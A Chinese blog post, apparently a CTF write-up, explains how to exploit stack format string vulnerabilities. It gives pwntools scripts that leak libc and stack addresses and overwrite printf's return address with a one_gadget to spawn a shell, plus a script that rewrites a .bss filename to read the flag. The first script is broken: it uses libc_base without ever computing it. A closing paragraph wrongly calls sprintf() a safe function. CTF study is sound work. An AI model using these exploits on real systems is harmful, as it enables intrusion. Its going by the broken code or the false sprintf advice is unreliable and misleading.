关于在栈上格式化字符串漏洞的利用方法

最近做了两个栈上的格式化字符串漏洞题目,发现了一个几乎能任意做此类型题目的方法
就以下面这两个例题来介绍一下这个方法
先说一下这个思路吧,就是通过两次格式化字符串漏洞,第一次泄露libc_base,以及栈里面的一个地址(任意)第二次修改printf的返回地址为one_gadget去getshell

例题一

保护情况:
在这里插入图片描述

主函数:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到可以无限利用格式化字符串漏洞,但是又不会跳出这个循环,所以没法控制主函数的返回地址。
这个题有两种思路,第一种就是通过格式化字符串漏洞任意地址写,把 f 在bss段上的内容改成flag
第二种就是修改printf函数的返回地址为one_gad

这里详细说第二种方法
第一步
泄露libc_base
在这里插入图片描述
泄露__libc_start_main+243的地址再减去243。
然后再随便泄露个栈地址,找到printf的返回地址(进入到printf里就能找到了),以及该地址的栈地址(结尾为91a8的)用你泄露的栈地址让其两者相减,然后就能覆盖成one_gadget
在这里插入图片描述然后找个one_gadget

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

用第二个
脚本如下:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=process('./pwn')
elf=ELF("./pwn")
libc=ELF("libc-2.31.so")

def op(i):
	p.recvuntil("5. Exit\n-------------------------\n")
	p.sendline(str(i))
op(1)
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%21$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
p.recvuntil("Content:\n")

libcstart_addr=int(p.recv(14),16)
print(hex(libcstart_addr))

one_gad=libc_base+0xe3b01
print(hex(one_gad))

op(3)
p.recvuntil("Please input your notes\n")
pay=b'%18$p'
p.sendline(pay)
p.recvuntil("Content:\n")
stack=p.recv(14)
stack_addr=int(stack,16)
print(hex(stack_addr))
addr=stack_addr-0x100
ret_addr=stack_addr-0x60-8-0x100   #可以不断调试以找到正确的返回地址


op(3)
p.recvuntil("Please input your notes\n")
pay=fmtstr_payload(8, {ret_addr:one_gad},write_size='short') #单字节写入字节太大,所以用双字节写入,以满足小于0x50字节
p.sendline(pay)

p.interactive()

在这里插入图片描述
第二种方法

from pwn import *
io = process('./pwn2')

context(arch="amd64",os="linux")
context.log_level = "debug"

csu = 0xE70


def openfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(1))

def readfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(2))

def addnotes(notes):
    io.recvuntil("-------------------------\n")
    io.sendline(str(3))
    io.recvuntil("Please input your notes\n")
    io.sendline(notes)
    io.recvuntil("Content:\n",drop=True)

def closefile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(4))

def pwn():
    openfile()
    addnotes(b'%26$p')
    csu_addr = int(io.recvline(keepends=False),16)
    print(hex(csu_addr))
    pie = csu_addr - csu
    filename = pie + 0x0202070
    payload = fmtstr_payload(8,{filename:u32(b'flag')})
    addnotes(payload)
   
    closefile()
    openfile()
    io.recvuntil("You successfully opened the file.\n")
   
    readfile()
    #gdb.attach(io)
    #pause()
    print(io.recv())
    io.interactive()
   
    # io.recvuntil("-------------------------\n")
    # io.sendline(str(3))
    # io.recvuntil("Please input your notes\n")
    # payload = b'\x00'*10
    # gdb.attach(io)
    # pause()
    # io.sendline(payload)


pwn()   

在这里插入图片描述
直接读出flag了

例题二

程序比较简单
在这里插入图片描述
保护如下:
在这里插入图片描述

可以看到总共有四次格式化字符串漏洞,前两次是在栈上的格式化字符串漏洞
后两次是bss段上上的格式化字符串漏洞
那么就可以通过前两次格式化字符串漏洞,直接getshell和上题一样,(当然,也可以覆盖变量值,这里不过多说那个方法)

思路也是第一次泄露libc第二次修改printf的返回地址为one_gadget

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("81.68.77.181",5001)
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc-2.31.so")

p.recvuntil(b"hahah~\n")
pay=b'%19$p,%16$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-243
libc_base=int(p.recv(14),16)-243-libc.sym['__libc_start_main']
p.recv(1)
stack=int(p.recv(14),16)-0x4e-0x10a
print(hex(libc_base))
print(hex(stack))
one_gad=libc_base+0xe3b01

p.recvuntil(b"hahah~\n")
pay=fmtstr_payload(8, {stack:one_gad},write_size='short')
p.send(pay)

p.interactive()

在这里插入图片描述

在这里插入图片描述
使用条件大概就是
1.能执行两次格式化字符串漏洞
2.能读入的字节不少于0x40字节

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
格式化字符串漏洞的产生原因是因为程序在使用printf()等格式化输出函数时,没有对格式化字符串进行正确的验证和处理,导致攻击者可以利用格式化字符串中的特殊字符来读取或修改程序内存中的数据。攻击者可以通过修改格式化字符串中的占位符来控制输出的内容,这就是格式化字符串漏洞的基本原理。 下面通过一个简单的例子来介绍如何利用格式化字符串漏洞来泄露和修改栈上的数据: ```c #include <stdio.h> int main(int argc, char **argv) { char buffer[100]; printf("Enter your name: "); scanf("%s", buffer); printf(buffer); return 0; } ``` 在上面的代码中,程序使用了scanf()函数来接收用户输入,然后直接使用printf()函数来输出用户输入的内容,这就导致了格式化字符串漏洞的产生。攻击者可以通过输入一些特殊的字符串来读取或修改程序内存中的数据。 例如,当输入"%x %x %x %x %x %x %x %x %x %x"时,程序会输出栈上的十个值。这是因为"%x"可以将栈上的值以十六进制的形式输出。攻击者可以通过不断尝试来找到栈上存储的敏感信息,如密码、密钥等。 另外,攻击者还可以使用"%n"来修改栈上的数据。例如,当输入"%x %x %x %x %x %x %x %x %x %n"时,程序会将%n之前输出的字符数存储到%n的地址中。攻击者可以通过这种方式来修改程序内存中的数据,实现获取flag的目的。 总之,要避免格式化字符串漏洞,必须对用户输入进行正确的验证和处理,同时避免直接使用格式化输出函数来输出用户输入的内容。如果必须要使用格式化输出函数,可以使用安全格式化函数,如snprintf()、sprintf()等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值